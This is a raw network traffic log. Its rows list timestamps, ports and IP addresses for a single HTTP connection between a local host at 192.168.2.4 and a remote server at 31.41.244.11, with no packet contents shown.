Dec 13, 2024 01:51:32.341700077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.341738939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.482099056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.482124090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.482177973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.482177973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.482470989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.482518911 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.482666969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.482711077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.483477116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.483521938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.483557940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.483599901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.484493971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.484541893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.484596968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.484662056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.485465050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.485584974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.485630989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.486458063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.486502886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.486581087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.486625910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.487468958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.487618923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.487664938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.488452911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.488497019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.488554001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.488598108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.489455938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.489500999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.489551067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.489594936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.490452051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.490494967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.490550041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.490592003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.491461992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.491547108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.491591930 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.492434978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.492480040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.492543936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.492588997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.493427992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.493474007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.493501902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.493546963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.494477987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.494522095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.494554996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.494595051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.495445967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.495507956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.495553017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.496416092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.496460915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.496522903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.496566057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.497423887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.497464895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.497582912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.497648001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.498441935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.498487949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.498521090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.498564959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.499422073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.499532938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.499577999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.500431061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.500477076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.500536919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.500576973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.501393080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.501436949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.501497984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.501537085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.502446890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.502463102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.502490044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.502515078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.503441095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.503458023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.503503084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.504401922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.504456043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.504489899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.504528046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.505444050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.505491972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.505589008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.505635023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.506407976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.506452084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.506514072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.506556988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.507402897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.507508039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.507541895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.507554054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.508387089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.508443117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.508491039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.508531094 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.509383917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.509435892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.509462118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.509803057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.510406971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.510457993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.510489941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.510530949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.511399984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.511415005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.511461973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.512439013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.512480021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.512497902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.512531042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.513385057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.513503075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.513550043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.514369011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.514415026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.514488935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.514620066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.515367031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.515412092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.515510082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.515791893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.516355038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.516402006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.516458035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.516510963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.517344952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.517390013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.517432928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.517477989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.518346071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.518462896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.518513918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.519345999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.519433975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.519485950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.520375967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.520390987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.520415068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.520440102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.521390915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.521439075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.521456957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.521501064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.522340059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.522382021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.522465944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.522511005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.523341894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.523432970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.523453951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.523498058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.524334908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.524378061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.524440050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.524483919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.525347948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.525393009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.525501013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.526319027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.526359081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.526416063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.526454926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.527302027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.527426958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.527465105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.528656960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.528671026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.528712034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.529313087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.529359102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.529414892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.529653072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.530299902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.530349016 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.530427933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.530705929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.531301022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.531347036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.531363964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.531408072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.532813072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.532861948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.533953905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.534006119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.535419941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.535434008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.535475969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.535489082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.535521984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.674644947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.674669981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.674762011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.674876928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.674906969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.675046921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.675750971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.675952911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.676002979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.676743031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.676786900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.676839113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.676883936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.677715063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.677761078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.677884102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.677930117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.678706884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.678751945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.678812027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.678857088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.679735899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.679826021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.679874897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.680716991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.680763006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.680818081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.680861950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.681724072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.681770086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.681823969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.681869030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.682691097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.682735920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.682796001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.682841063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.683706999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.683996916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.684041977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.684731960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.684778929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.684798956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.684845924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.685702085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.685749054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.685817957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.685862064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.686691046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.686738014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.686773062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.686817884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.687668085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.687716961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.687772989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.687810898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.688693047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.688739061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.688806057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.688878059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.689780951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.689796925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.689836979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.690721035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.690767050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.690784931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.690824986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.691670895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.691756010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.691801071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.692667007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.692709923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.692857981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.692899942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.693675041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.693716049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.693747997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.693788052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.694679976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.694741964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.694777966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.695653915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.695694923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.695755005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.695796013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.696633101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.696672916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.696749926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.696788073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.697652102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.697695017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.697805882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.697844982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.698693037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.698708057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.698734045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.698745012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.699671984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.699733973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.699778080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.700643063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.700685978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.700719118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.700759888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.701666117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.701709032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.701739073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.701777935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.702630997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.702672958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.702735901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.702775955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.703623056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.703743935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.703785896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.704619884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.704659939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.704725027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.704788923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.705626965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.705672026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.705698967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.705739021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.706583977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.706625938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.706707001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.706746101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.707644939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.707659960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.707700968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.708659887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.708699942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.708719015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.708758116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.709611893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.709651947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.709705114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.709738970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.710608959 CET	80	49809	31.41.244.11	192.168.2.4
